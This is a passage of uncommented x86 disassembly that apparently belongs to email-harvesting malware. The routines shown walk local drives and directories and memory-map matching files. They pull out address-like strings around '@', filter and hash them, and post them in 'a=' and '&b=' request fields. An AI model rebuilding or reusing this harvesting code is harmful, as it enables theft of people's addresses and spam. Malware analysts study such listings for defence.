		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebx+20h]
		lea	edx, [ebp+var_18]
		push	edx
		push	[ebp+var_C]
		mov	esi, eax
		mov	eax, [ecx]
		push	esi
		mov	[ebp+var_4], esi
		call	dword ptr [eax+4]
		cmp	eax, [ebp+var_C]
		jnz	loc_408536
		mov	esi, offset aA	; "a="
		lea	edi, [ebp+var_14]
		movsw
		lea	eax, [ebp+var_14]
		push	eax
		movsb
		call	sub_40CD83
		mov	[ebp+var_8], eax
		mov	eax, [ebx+1030h]
		test	eax, eax
		pop	ecx
		jnz	short loc_408455
		xor	edi, edi
		jmp	short loc_40845E
; ---------------------------------------------------------------------------


loc_408455:				; CODE XREF: sub_408361+EEj
		push	eax
		call	sub_40CD83
		pop	ecx
		mov	edi, eax


loc_40845E:				; CODE XREF: sub_408361+F2j
		push	0
		push	[ebp+var_C]
		call	sub_40C2F0
		mov	[ebp+var_10], eax
		add	eax, edi
		add	eax, [ebp+var_8]
		push	eax
		call	sub_40D0BB
		push	[ebp+var_8]
		mov	esi, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	sub_40CCF7
		push	3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, esi
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_4]
		call	sub_40C344
		mov	eax, [ebp+var_10]
		push	edi
		push	dword ptr [ebx+1030h]
		add	eax, esi
		add	eax, [ebp+var_8]
		push	eax
		call	sub_40CCF7
		add	esp, 38h
		push	0
		lea	ecx, [ebp+var_4]
		call	sub_408034
		mov	eax, [ebp+var_10]
		add	eax, edi
		add	eax, [ebp+var_8]
		mov	ecx, ebx
		push	eax
		push	esi
		call	sub_4080EA
		test	al, al
		jz	short loc_40853D
		test	esi, esi
		jz	short loc_4084DE
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_4084DE:				; CODE XREF: sub_408361+174j
		cmp	[ebp+var_4], 0
		jz	short loc_4084ED
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx


loc_4084ED:				; CODE XREF: sub_408361+6Fj
					; sub_408361+181j
		push	1004h
		lea	eax, [ebx+24h]
		push	eax
		lea	eax, [ebp+var_1024]
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		lea	eax, [ebp+var_20]
		push	eax
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_1024]
		push	edi
		push	eax
		mov	eax, [ebx+1028h]


loc_40851A:				; CODE XREF: sub_408361+59j
		inc	eax
		push	eax
		mov	[ebp+var_20], 4B0h
		mov	[ebp+var_1C], edi
		call	ds:dword_4181A4
		test	eax, eax
		jg	loc_4083BF
		jmp	short loc_408557
; ---------------------------------------------------------------------------


loc_408536:				; CODE XREF: sub_408361+C8j
		cmp	esi, edi
		jz	short loc_408557
		push	esi
		jmp	short loc_408551
; ---------------------------------------------------------------------------


loc_40853D:				; CODE XREF: sub_408361+170j
		test	esi, esi
		jz	short loc_408548
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_408548:				; CODE XREF: sub_408361+1DEj
		cmp	[ebp+var_4], 0
		jz	short loc_408557
		push	[ebp+var_4]


loc_408551:				; CODE XREF: sub_408361+1DAj
		call	sub_40D0B6
		pop	ecx


loc_408557:				; CODE XREF: sub_408361+91j
					; sub_408361+A3j ...
		mov	ecx, ebx
		call	sub_408056
		push	ebx
		call	sub_40D0B6
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_408361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40856C	proc near		; CODE XREF: sub_40694B+183p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_20], offset sub_408361
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+var_20]
		movsd
		movsd
		movsd
		mov	ebx, ecx
		movsd
		call	sub_4080C0
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lea	esi, [ebx+1030h]
		mov	[ebx+20h], edi
		mov	ecx, esi
		mov	[ebx+102Ch], eax
		call	sub_40DB48
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		mov	ecx, edi
		mov	word ptr [ebp+var_20], 2
		mov	[ebp+var_C], 10h
		call	sub_40D97B
		mov	eax, [ebp+var_1C]
		xor	edi, edi
		push	edi
		push	4
		mov	[ebp+var_10], eax
		call	sub_40C2F0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_8], eax
		call	sub_40DB48
		push	[ebp+var_8]
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		call	sub_40C344
		add	esp, 14h
		push	edi
		push	offset aB	; "&b="
		mov	ecx, esi
		call	sub_40DB5E
		push	[ebp+var_4]
		mov	ecx, esi
		call	sub_401AA0
		push	edi
		mov	ecx, ebx
		call	sub_408085
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_40856C	endp


; =============== S U B	R O U T	I N E =======================================



sub_408641	proc near		; CODE XREF: sub_408963+68p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		jmp	short loc_408682
; ---------------------------------------------------------------------------


loc_40864B:				; CODE XREF: sub_408641+46j
		push	1
		push	0
		push	dword ptr [edi+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_408689
		mov	al, [esi]
		cmp	al, 30h
		jl	short loc_408666
		cmp	al, 39h
		jle	short loc_408682


loc_408666:				; CODE XREF: sub_408641+1Fj
		cmp	al, 41h
		jl	short loc_40866E
		cmp	al, 5Ah
		jle	short loc_408682


loc_40866E:				; CODE XREF: sub_408641+27j
		cmp	al, 61h
		jl	short loc_408676
		cmp	al, 7Ah
		jle	short loc_408682


loc_408676:				; CODE XREF: sub_408641+2Fj
		cmp	al, 2Eh
		jz	short loc_408682
		cmp	al, 5Fh
		jz	short loc_408682
		cmp	al, 2Dh
		jnz	short loc_408689


loc_408682:				; CODE XREF: sub_408641+8j
					; sub_408641+23j ...
		dec	esi
		cmp	esi, [esp+8+arg_4]
		jnb	short loc_40864B


loc_408689:				; CODE XREF: sub_408641+19j
					; sub_408641+3Fj
		pop	edi
		lea	eax, [esi+1]
		pop	esi
		retn	8
sub_408641	endp


; =============== S U B	R O U T	I N E =======================================



sub_408691	proc near		; CODE XREF: sub_408963+75p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_40869B:				; CODE XREF: sub_408691+46j
		push	1
		push	0
		push	dword ptr [edi+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_4086D9
		mov	al, [esi]
		cmp	al, 30h
		jl	short loc_4086B6
		cmp	al, 39h
		jle	short loc_4086D2


loc_4086B6:				; CODE XREF: sub_408691+1Fj
		cmp	al, 41h
		jl	short loc_4086BE
		cmp	al, 5Ah
		jle	short loc_4086D2


loc_4086BE:				; CODE XREF: sub_408691+27j
		cmp	al, 61h
		jl	short loc_4086C6
		cmp	al, 7Ah
		jle	short loc_4086D2


loc_4086C6:				; CODE XREF: sub_408691+2Fj
		cmp	al, 2Eh
		jz	short loc_4086D2
		cmp	al, 5Fh
		jz	short loc_4086D2
		cmp	al, 2Dh
		jnz	short loc_4086D9


loc_4086D2:				; CODE XREF: sub_408691+8j
					; sub_408691+23j ...
		inc	esi
		cmp	esi, [esp+8+arg_4]
		jbe	short loc_40869B


loc_4086D9:				; CODE XREF: sub_408691+19j
					; sub_408691+3Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_408691	endp


; =============== S U B	R O U T	I N E =======================================



sub_4086E0	proc near		; CODE XREF: sub_408963+DFp

arg_0		= dword	ptr  4

		push	2Eh
		push	[esp+4+arg_0]
		call	sub_40CEE6
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408702
		push	eax
		call	ds:dword_41811C
		cmp	eax, 2
		jle	short loc_408702
		xor	eax, eax
		inc	eax
		jmp	short locret_408704
; ---------------------------------------------------------------------------


loc_408702:				; CODE XREF: sub_4086E0+Fj
					; sub_4086E0+1Bj
		xor	eax, eax

locret_408704:				; CODE XREF: sub_4086E0+20j
		retn	4
sub_4086E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408707	proc near		; CODE XREF: sub_4088DC+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_421B60
		test	eax, eax
		push	esi
		jz	short loc_40872F
		mov	esi, offset dword_421B60


loc_408716:				; CODE XREF: sub_408707+26j
		push	eax
		push	[esp+8+arg_0]
		add	esi, 4
		call	sub_40CE77
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408736
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_408716


loc_40872F:				; CODE XREF: sub_408707+8j
		xor	eax, eax
		inc	eax


loc_408732:				; CODE XREF: sub_408707+31j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_408736:				; CODE XREF: sub_408707+20j
		xor	eax, eax
		jmp	short loc_408732
sub_408707	endp


; =============== S U B	R O U T	I N E =======================================



sub_40873A	proc near		; CODE XREF: sub_4088DC+58p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	ds:dword_41811C
		mov	ecx, 0F1E2D3C4h
		jmp	short loc_408757
; ---------------------------------------------------------------------------


loc_40874D:				; CODE XREF: sub_40873A+1Fj
		movsx	edx, byte ptr [esi]
		dec	eax
		rol	ecx, 5
		inc	esi
		add	ecx, edx


loc_408757:				; CODE XREF: sub_40873A+11j
		test	eax, eax
		jg	short loc_40874D
		mov	eax, ecx
		pop	esi
		retn	4
sub_40873A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408761	proc near		; CODE XREF: sub_40235F+16p
					; sub_402400+40p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+4]
		push	edi
		call	ds:dword_4180DC
		mov	eax, [esi]
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	[esi], eax
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_408761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408785	proc near		; CODE XREF: sub_403BEC+Cp
					; sub_403C0A+15p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+2Ch]
		call	ds:dword_4180A8
		lea	ecx, [esi+1Ch]
		call	sub_40B150
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_408761
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4087E0
		push	ebx


loc_4087B1:				; CODE XREF: sub_408785+58j
		test	edi, edi
		jz	short loc_4087BA
		mov	ebx, [edi+4]
		jmp	short loc_4087BC
; ---------------------------------------------------------------------------


loc_4087BA:				; CODE XREF: sub_408785+2Ej
		xor	ebx, ebx


loc_4087BC:				; CODE XREF: sub_408785+33j
		test	ebx, ebx
		jz	short loc_4087CE
		mov	ecx, ebx
		call	sub_40DB59
		push	ebx
		call	sub_40D0B6
		pop	ecx


loc_4087CE:				; CODE XREF: sub_408785+39j
		mov	ebx, [edi+8]
		push	edi
		mov	ecx, esi
		call	sub_401DB5
		test	ebx, ebx
		mov	edi, ebx
		jnz	short loc_4087B1
		pop	ebx


loc_4087E0:				; CODE XREF: sub_408785+29j
		mov	edi, ds:dword_4180D8
		lea	eax, [esi+30h]
		push	eax
		call	edi
		push	dword ptr [esi+2Ch]
		call	ds:dword_4180A4
		add	esi, 4
		push	esi
		call	edi
		pop	edi
		pop	esi
		leave
		retn
sub_408785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087FF	proc near		; CODE XREF: sub_403B7F+45p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+30h]
		xor	edi, edi
		push	eax
		mov	[ebp+var_C], esi
		mov	[ebp+var_4], edi
		mov	[ebp+var_10], eax
		call	ds:dword_4180DC
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		call	sub_408761
		mov	ebx, [ebp+var_8]
		test	ebx, ebx
		jz	loc_4088C9


loc_408835:				; CODE XREF: sub_4087FF+C4j
		cmp	edi, [ebp+arg_0]
		jge	loc_4088C9
		test	ebx, ebx
		jz	short loc_40884A
		mov	eax, [ebx+4]
		mov	[ebp+var_8], eax
		jmp	short loc_40884E
; ---------------------------------------------------------------------------


loc_40884A:				; CODE XREF: sub_4087FF+41j
		and	[ebp+var_8], 0


loc_40884E:				; CODE XREF: sub_4087FF+49j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40885E
		push	eax
		call	sub_40CD83
		pop	ecx


loc_40885E:				; CODE XREF: sub_4087FF+56j
		cmp	[ebp+var_4], 0
		lea	esi, [eax+edi+1]
		lea	eax, [esi+1]
		jnz	short loc_408875
		push	1
		push	eax
		call	sub_40CA2C
		jmp	short loc_40887E
; ---------------------------------------------------------------------------


loc_408875:				; CODE XREF: sub_4087FF+6Aj
		push	eax
		push	[ebp+var_4]
		call	sub_40CA55


loc_40887E:				; CODE XREF: sub_4087FF+74j
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		push	0
		push	offset asc_418210 ; "\n"
		mov	[ebp+var_4], eax
		call	sub_40DBA2
		push	eax
		mov	eax, [ebp+var_4]
		add	edi, eax
		push	edi
		call	sub_40CD8E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		call	sub_40DB59
		push	[ebp+var_8]
		call	sub_40D0B6
		pop	ecx
		mov	ecx, [ebp+var_C]
		mov	edi, esi
		mov	esi, [ebx+8]
		push	ebx
		call	sub_401DB5
		test	esi, esi
		mov	ebx, esi
		jnz	loc_408835


loc_4088C9:				; CODE XREF: sub_4087FF+30j
					; sub_4087FF+39j
		push	[ebp+var_10]
		call	ds:dword_4180E0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4087FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088DC	proc near		; CODE XREF: sub_408963+F2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		push	ebx
		mov	edi, ecx
		call	sub_408707
		test	eax, eax
		jz	short loc_40895D
		mov	al, [ebx]
		cmp	al, 30h
		jl	short loc_4088FA
		cmp	al, 39h
		jle	short loc_40895D


loc_4088FA:				; CODE XREF: sub_4088DC+18j
		push	ebx
		call	sub_40CD83
		cmp	eax, 32h
		pop	ecx
		ja	short loc_40895D
		push	4
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40891F
		push	ebx
		mov	ecx, eax
		call	sub_40DCEB
		mov	[ebp+arg_0], eax
		jmp	short loc_408923
; ---------------------------------------------------------------------------


loc_40891F:				; CODE XREF: sub_4088DC+34j
		and	[ebp+arg_0], 0


loc_408923:				; CODE XREF: sub_4088DC+41j
		push	esi
		lea	esi, [edi+30h]
		push	esi
		call	ds:dword_4180DC
		push	[ebp+arg_0]
		mov	ecx, edi
		push	ebx
		call	sub_40873A
		push	eax
		mov	ecx, edi
		call	sub_408F07
		mov	edi, eax
		test	edi, edi
		jz	short loc_408955
		mov	ecx, edi
		call	sub_40DB59
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_408955:				; CODE XREF: sub_4088DC+69j
		push	esi
		call	ds:dword_4180E0
		pop	esi


loc_40895D:				; CODE XREF: sub_4088DC+12j
					; sub_4088DC+1Cj ...
		pop	edi
		pop	ebx
		pop	ebp
		retn	4
sub_4088DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408963	proc near		; CODE XREF: sub_408A70+66p

var_204		= byte ptr -204h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		add	eax, esi
		cmp	esi, eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], esi
		mov	[ebp+arg_4], eax
		jnb	loc_408A6B
		push	ebx
		push	edi


loc_40898C:				; CODE XREF: sub_408963+100j
		mov	ebx, [ebp+var_8]
		push	1
		push	0
		push	dword ptr [ebx+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	loc_408A69
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 186A0h
		jnz	short loc_4089BC
		push	1
		call	ds:dword_4180C8
		and	[ebp+var_4], 0


loc_4089BC:				; CODE XREF: sub_408963+4Bj
		cmp	byte ptr [esi],	40h
		jnz	loc_408A5F
		push	[ebp+var_C]
		mov	ecx, ebx
		push	esi
		call	sub_408641
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	esi
		mov	edi, eax
		call	sub_408691
		mov	esi, eax
		mov	[ebp+var_10], esi
		sub	esi, edi
		xor	ebx, ebx
		lea	eax, [esi-6]
		cmp	eax, 1EDh
		mov	[ebp+arg_0], ebx
		ja	short loc_408A5A
		test	esi, esi
		jle	short loc_408A24


loc_4089F7:				; CODE XREF: sub_408963+BFj
		mov	eax, [ebp+var_8]
		push	1
		push	0
		push	dword ptr [eax+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_408A24
		mov	cl, [edi]
		lea	eax, [ebp+ebx+var_204]
		mov	[eax], cl
		cmp	byte ptr [edi],	40h
		jnz	short loc_408A1E
		mov	[ebp+arg_0], eax


loc_408A1E:				; CODE XREF: sub_408963+B6j
		inc	edi
		inc	ebx
		cmp	ebx, esi
		jl	short loc_4089F7


loc_408A24:				; CODE XREF: sub_408963+92j
					; sub_408963+A6j
		mov	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_204]
		sub	eax, ecx
		cmp	eax, 2
		mov	[ebp+ebx+var_204], 0
		jl	short loc_408A5A
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_8]
		call	sub_4086E0
		test	eax, eax
		jz	short loc_408A5A
		mov	ecx, [ebp+var_8]
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4088DC


loc_408A5A:				; CODE XREF: sub_408963+8Ej
					; sub_408963+D7j ...
		mov	esi, [ebp+var_10]
		jmp	short loc_408A60
; ---------------------------------------------------------------------------


loc_408A5F:				; CODE XREF: sub_408963+5Cj
		inc	esi


loc_408A60:				; CODE XREF: sub_408963+FAj
		cmp	esi, [ebp+arg_4]
		jb	loc_40898C


loc_408A69:				; CODE XREF: sub_408963+3Bj
		pop	edi
		pop	ebx


loc_408A6B:				; CODE XREF: sub_408963+21j
		pop	esi
		leave
		retn	8
sub_408963	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A70	proc near		; CODE XREF: sub_408AF9+47p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_0]
		mov	[ebp+var_4], ecx
		call	ds:dword_418100
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_408AF3
		push	esi
		push	ebx
		call	ds:dword_418144
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_408AEC
		push	esi
		push	esi
		push	esi
		push	2
		push	esi
		push	ebx
		call	ds:dword_418140
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jz	short loc_408AEC
		push	edi
		push	esi
		push	esi
		push	esi
		push	4
		push	eax
		call	ds:dword_41813C
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_408AE2
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		push	edi
		call	sub_408963
		push	edi
		call	ds:dword_418138


loc_408AE2:				; CODE XREF: sub_408A70+5Dj
		push	[ebp+var_8]
		call	ds:dword_4180A4
		pop	edi


loc_408AEC:				; CODE XREF: sub_408A70+36j
					; sub_408A70+4Aj
		push	ebx
		call	ds:dword_4180A4


loc_408AF3:				; CODE XREF: sub_408A70+26j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_408A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AF9	proc near		; CODE XREF: sub_408B4B+A0p

arg_0		= dword	ptr  4

		mov	eax, dword_421AE0
		test	eax, eax
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, eax
		jz	short loc_408B46
		push	ebx
		mov	ebx, offset dword_421AE0


loc_408B0E:				; CODE XREF: sub_408AF9+3Dj
		push	1
		push	0
		push	dword ptr [edi+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_408B45
		push	esi
		push	[esp+10h+arg_0]
		call	sub_40CE77
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408B3A
		add	ebx, 4
		mov	esi, [ebx]
		test	esi, esi
		jnz	short loc_408B0E
		jmp	short loc_408B45
; ---------------------------------------------------------------------------


loc_408B3A:				; CODE XREF: sub_408AF9+34j
		push	[esp+0Ch+arg_0]
		mov	ecx, edi
		call	sub_408A70


loc_408B45:				; CODE XREF: sub_408AF9+24j
					; sub_408AF9+3Fj
		pop	ebx


loc_408B46:				; CODE XREF: sub_408AF9+Dj
		pop	edi
		pop	esi
		retn	4
sub_408AF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B4B	proc near		; CODE XREF: sub_408B4B+94p
					; sub_408C36+23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	1
		push	140h
		mov	[esp+20h+var_8], ecx
		call	sub_40CA2C
		mov	esi, [esp+20h+arg_0]
		pop	ecx
		pop	ecx
		push	esi
		mov	edi, eax
		call	ds:dword_41811C
		mov	ebp, ds:dword_418080
		push	offset a__1	; "*.*"
		push	esi
		mov	ebx, eax
		call	ebp
		push	edi
		push	esi
		call	ds:dword_418084
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h+arg_0], eax
		jz	loc_408C26
		add	ebx, esi
		mov	[esp+18h+var_4], ebx
		lea	ebx, [edi+2Ch]


loc_408B9E:				; CODE XREF: sub_408B4B+CFj
		mov	eax, [esp+18h+var_4]
		push	offset a__0	; "."
		push	ebx
		mov	byte ptr [eax],	0
		call	ds:dword_418088
		test	eax, eax
		jz	short loc_408BF0
		push	offset a__	; ".."
		push	ebx
		call	ds:dword_418088
		test	eax, eax
		jz	short loc_408BF0
		push	ebx
		push	esi
		call	ebp
		test	byte ptr [edi],	10h
		jz	short loc_408BE6
		push	offset asc_41BCCC ; "\\"
		push	esi
		call	ebp
		push	[esp+18h+arg_4]
		mov	ecx, [esp+1Ch+var_8]
		push	esi
		call	sub_408B4B
		jmp	short loc_408BF0
; ---------------------------------------------------------------------------


loc_408BE6:				; CODE XREF: sub_408B4B+81j
		mov	ecx, [esp+18h+var_8]
		push	esi
		call	sub_408AF9


loc_408BF0:				; CODE XREF: sub_408B4B+68j
					; sub_408B4B+78j ...
		push	5
		call	ds:dword_4180C8
		push	edi
		push	[esp+1Ch+arg_0]
		call	ds:dword_41808C
		test	eax, eax
		jz	short loc_408C1C
		mov	eax, [esp+18h+var_8]
		push	1
		push	0
		push	dword ptr [eax+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	short loc_408B9E


loc_408C1C:				; CODE XREF: sub_408B4B+BAj
		push	[esp+18h+arg_0]
		call	ds:dword_418090


loc_408C26:				; CODE XREF: sub_408B4B+44j
		push	edi
		call	sub_40CCC5
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn	8
sub_408B4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C36	proc near		; CODE XREF: sub_408C6A+50p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		push	10000h
		mov	edi, ecx
		call	sub_40CA2C
		pop	ecx
		pop	ecx
		push	[esp+8+arg_0]
		mov	esi, eax
		push	esi
		call	ds:dword_4180B4
		push	esi
		push	esi
		mov	ecx, edi
		call	sub_408B4B
		push	esi
		call	sub_40CCC5
		pop	ecx
		pop	edi
		pop	esi
		retn	4
sub_408C36	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C6A	proc near		; DATA XREF: sub_408CDF+33o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	1
		push	2000h
		mov	byte ptr [edi+48h], 1
		call	sub_40CA2C
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	1FFFh
		call	ds:dword_418078
		test	ebx, ebx
		mov	esi, ebx
		jz	short loc_408CCE


loc_408C95:				; CODE XREF: sub_408C6A+62j
		cmp	byte ptr [esi],	0
		jz	short loc_408CCE
		push	1
		push	0
		push	dword ptr [edi+2Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_408CCE
		push	esi
		call	ds:dword_41807C
		cmp	eax, 3
		jnz	short loc_408CBF
		push	esi
		mov	ecx, edi
		call	sub_408C36


loc_408CBF:				; CODE XREF: sub_408C6A+4Bj
		push	esi
		call	ds:dword_41811C
		lea	esi, [esi+eax+1]
		test	esi, esi
		jnz	short loc_408C95


loc_408CCE:				; CODE XREF: sub_408C6A+29j
					; sub_408C6A+2Ej ...
		push	ebx
		call	sub_40CCC5
		pop	ecx
		mov	byte ptr [edi+48h], 0
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_408C6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408CDF	proc near		; CODE XREF: sub_403CCB+78p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_408D8E
		lea	esi, [edi+1Ch]
		xor	ebx, ebx
		push	1
		lea	ecx, [edi+2Ch]
		mov	[esi+0Ch], ebx
		mov	[esi+8], ebx
		mov	[esi+4], ebx
		call	sub_4012FC
		lea	eax, [edi+30h]
		push	eax
		call	ds:dword_4180D4
		mov	byte ptr [edi+48h], 1
		push	ebx
		mov	ecx, esi
		mov	dword ptr [esi+0Ch], offset sub_408C6A
		mov	[esi+8], edi
		mov	[esi+4], ebx
		call	sub_40174B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_408CDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D2A	proc near		; CODE XREF: sub_409170+91p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [ecx+1Ch]
		call	ds:dword_4181A0
		retn	8
sub_408D2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D40	proc near		; CODE XREF: sub_409170+15Ap
					; sub_409170+1C9p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		cmp	[ecx], al
		jz	short locret_408D64


loc_408D4A:				; CODE XREF: sub_408D40+1Cj
		mov	dl, [eax+ecx]
		cmp	dl, 0Dh
		jz	short loc_408D60
		cmp	dl, 0Ah
		jz	short loc_408D60
		inc	eax
		cmp	byte ptr [eax+ecx], 0
		jnz	short loc_408D4A
		jmp	short locret_408D64
; ---------------------------------------------------------------------------


loc_408D60:				; CODE XREF: sub_408D40+10j
					; sub_408D40+15j
		mov	byte ptr [eax+ecx], 0

locret_408D64:				; CODE XREF: sub_408D40+8j
					; sub_408D40+1Ej
		retn	4
sub_408D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D67	proc near		; CODE XREF: sub_408F6A+22p
		push	esi
		mov	esi, ecx
		call	sub_40DB48
		lea	ecx, [esi+4]
		call	sub_40DB48
		mov	eax, esi
		pop	esi
		retn
sub_408D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D7B	proc near		; CODE XREF: sub_409006+3Ap
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_40DB59
		mov	ecx, esi
		pop	esi
		jmp	sub_40DB59
sub_408D7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D8E	proc near		; CODE XREF: sub_4021DE+2Dp
					; sub_4021DE+4Bp ...
		push	esi
		mov	esi, ecx
		and	dword ptr [esi], 0
		lea	eax, [esi+4]
		push	eax
		call	ds:dword_4180D4
		mov	eax, esi
		pop	esi
		retn
sub_408D8E	endp


; =============== S U B	R O U T	I N E =======================================



